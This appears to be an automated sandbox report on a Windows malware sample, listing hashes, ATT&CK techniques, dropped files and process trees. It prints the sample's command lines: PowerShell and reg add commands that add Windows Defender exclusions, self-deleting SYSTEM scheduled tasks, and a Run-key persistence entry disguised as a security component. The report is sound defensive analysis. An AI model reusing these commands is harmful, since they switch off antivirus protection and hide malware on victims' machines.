791d7ade1c21b58575b6db1224f8b6237e75eb7ea2b1d1438452a72a7279b62d

Analysis

max time kernel
151s
max time network
145s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
31/10/2026, 02:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
Size 30.0MB
Sample261031-cp45bat16k
SHA256 791d7ade1c21b58575b6db1224f8b6237e75eb7ea2b1d1438452a72a7279b62d
MD5 6377a95d3b702c30ec1767d808a675e3
SHA1 4a37cf7540770260d5e7214be176f8fcd1ae7ed7
SHA512 7c2759167bac194eb8e983bdab0098531817a2b5dedebfc8c3cc295ae4788397e7d86564b2037860c5a96cb36a7df64ebfcb7d247858cf06bcf79bbc7ce25aa9
SSDEEP 49152:Q85t1a8IFXTDqgBEA9xzJkW40bkSnY53wfC8oWz2rf8oW7O6CcxuLxxuLexuLUBL:3laNCgBxzWWFA3w7Nz2rf8ogCVbojaEy
TLSH
T12B67D68ABB01DDC3F44A9270D45A97E16372ED71CFA1871721A57F157FBE2888ED2088
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\BfQBX5 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5608	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4176	9fgImR.exe
1484	9fgImR.exe

Loads dropped DLL 2 IoCs

pid	Process
4176	9fgImR.exe
1484	9fgImR.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\BfQBX5\\9fgImR.exe\""	9fgImR.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4840	cmd.exe
4348	cmd.exe
5552	cmd.exe
2836	cmd.exe
2096	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	9fgImR.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\RdFIbE	9fgImR.exe
File created	C:\Program Files (x86)\RdFIbE\bDIHBA.exe	9fgImR.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3108	cmd.exe
4704	cmd.exe
2596	cmd.exe
5844	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	9fgImR.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	9fgImR.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5048	schtasks.exe
3684	schtasks.exe
5720	schtasks.exe
4324	schtasks.exe
4656	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
5144	2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe
4176	9fgImR.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	5608	powershell.exe
Token: SeIncreaseQuotaPrivilege	5608	powershell.exe
Token: SeSecurityPrivilege	5608	powershell.exe
Token: SeTakeOwnershipPrivilege	5608	powershell.exe
Token: SeLoadDriverPrivilege	5608	powershell.exe
Token: SeSystemProfilePrivilege	5608	powershell.exe
Token: SeSystemtimePrivilege	5608	powershell.exe
Token: SeProfSingleProcessPrivilege	5608	powershell.exe
Token: SeIncBasePriorityPrivilege	5608	powershell.exe
Token: SeCreatePagefilePrivilege	5608	powershell.exe
Token: SeBackupPrivilege	5608	powershell.exe
Token: SeRestorePrivilege	5608	powershell.exe
Token: SeShutdownPrivilege	5608	powershell.exe
Token: SeDebugPrivilege	5608	powershell.exe
Token: SeSystemEnvironmentPrivilege	5608	powershell.exe
Token: SeRemoteShutdownPrivilege	5608	powershell.exe
Token: SeUndockPrivilege	5608	powershell.exe
Token: SeManageVolumePrivilege	5608	powershell.exe
Token: 33	5608	powershell.exe
Token: 34	5608	powershell.exe
Token: 35	5608	powershell.exe
Token: 36	5608	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 4176 wrote to memory of 5608	4176	9fgImR.exe	92
PID 4176 wrote to memory of 4840	4176	9fgImR.exe	94
PID 4840 wrote to memory of 5048	4840	cmd.exe	97
PID 4840 wrote to memory of 4600	4840	cmd.exe	98
PID 4176 wrote to memory of 4348	4176	9fgImR.exe	99
PID 4176 wrote to memory of 5552	4176	9fgImR.exe	103
PID 4840 wrote to memory of 4908	4840	cmd.exe	105
PID 4348 wrote to memory of 3684	4348	cmd.exe	107
PID 5552 wrote to memory of 5720	5552	cmd.exe	108
PID 4348 wrote to memory of 3104	4348	cmd.exe	109
PID 4176 wrote to memory of 2836	4176	9fgImR.exe	111
PID 5552 wrote to memory of 5792	5552	cmd.exe	114
PID 4348 wrote to memory of 3552	4348	cmd.exe	113
PID 2836 wrote to memory of 4324	2836	cmd.exe	115
PID 5552 wrote to memory of 616	5552	cmd.exe	116
PID 2836 wrote to memory of 2996	2836	cmd.exe	117
PID 4176 wrote to memory of 2096	4176	9fgImR.exe	122
PID 2836 wrote to memory of 1532	2836	cmd.exe	124
PID 2096 wrote to memory of 4656	2096	cmd.exe	125
PID 2096 wrote to memory of 2940	2096	cmd.exe	126
PID 2096 wrote to memory of 1684	2096	cmd.exe	128
PID 5844 wrote to memory of 1008	5844	cmd.exe	130
PID 2596 wrote to memory of 4960	2596	cmd.exe	132
PID 3108 wrote to memory of 1392	3108	cmd.exe	133
PID 4704 wrote to memory of 3760	4704	cmd.exe	134

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-30_6377a95d3b702c30ec1767d808a675e3_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:5144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5584

C:\Users\Public\BfQBX5\9fgImR.exe
"C:\Users\Public\BfQBX5\9fgImR.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\BfQBX5\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4840
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\BfQBX5\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5048
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4600
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4348
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3684
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3104
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5552
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5720
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5792
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4324
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2996
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2096
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4656
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2940
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1684

C:\Users\Public\BfQBX5\9fgImR.exe
"C:\Users\Public\BfQBX5\9fgImR.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1484

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\BfQBX5" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3108
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\BfQBX5" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1392

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2676

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4704
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3760

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2596
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4960

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5844
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1008

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 29fe3c0ce5e0eb6e1fcc65eca09e8445c0b04a10c410fca0c1d4f0619819c5b0
MD5 2638dee1b495e0f21251bbd7b73c53f2
SHA1 01b499eca4e958793530d96e67602d5ba326fdf2
SHA512 60b330a768a7a8aeb7e6e28bb0f34e69c0f3215c4c0d65742ae5a3bc8f413d98101fad71597465e9f7e8b95ba58607d16a42a4b2116d6b7d3a4bb9a0a9507f0b
TLSH
T11B3177771FA8E94ADB768E9111CEB5322CF5D2C06CC9145A5115C4549F043B23F0D50D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 91053ecce503b676e2e4b4007f2150580dc1ea46e4a3c803b1150cbd1061360c
MD5 1deb4503a7cd7e479574db758509696c
SHA1 1f979ff0b5bb1202209402e660b4dca365ce9a31
SHA512 d142cd0f78ab55e0c5361968834f974a40130d1b934f76860c275de2a71d4196c029c25efc14487f39ea7ab0ca51775dedf34618f0df6b51dfc58a7c5eda6173
TLSH
T1F631F8938E780003DF088F3591D4E93B6DF6A6B458E44844693EC27F8519B7B4FC2044
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 ff21a6ef22ce7d46cf1a90a6272dbd22c9ec903e0a23b9cb678fdf5c6f91d20c
MD5 6e9e38e8533b333f560228cc2ae7cb24
SHA1 394447756b0a108e524207145e914fe6d7e4ae89
SHA512 20e8f5bec6302310e7adee61b412ca22af1d41809a591ffcfa14722c6402609b68c37a883d4128ae51fd1dd284042c5b964e8e72e07e76b5014dee52cd068b69
TLSH
T19AF0DC045CBC403DF533EA7C86EA79AE6A7BF603340785A80BA85709A1459003D5223A
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 08011976a67e80a81ecfa34a0fe78587f7872b0dcc975807b795f1838c077c3f
MD5 a7e268400620b4098267337029fed359
SHA1 732c0722756d1a129f7843be7408f5606eba6562
SHA512 708e1cf5db6d84881536945e3fb43e697575cc55b1f8b9a82a04d5423ba6cba22e67881aa150457952afc34ff4346f89170dadd07cb3a941504f3ab7b7cfe87d
TLSH
T13CF05C3959E9012FF1B7D6F446C3B6B35B39E627240732FA0AB90344AB60C801C4322E
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_zfjbbkbn.byj.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zfjbbkbn.byj.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

9fgImR.exe

Path C:\Users\Public\BfQBX5\9fgImR.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\BfQBX5\UxEnhance64.dll
Size 3.1MB
SHA256 0976975c0ea42a4c6c59aa503f9e0bcd781899cba7a50e0108ae45ab5d3f3a53
MD5 a22da8450813c6bbbb157af3c505196d
SHA1 bec5f0afd6fd5ac262272d5c9f45d3a7155848a8
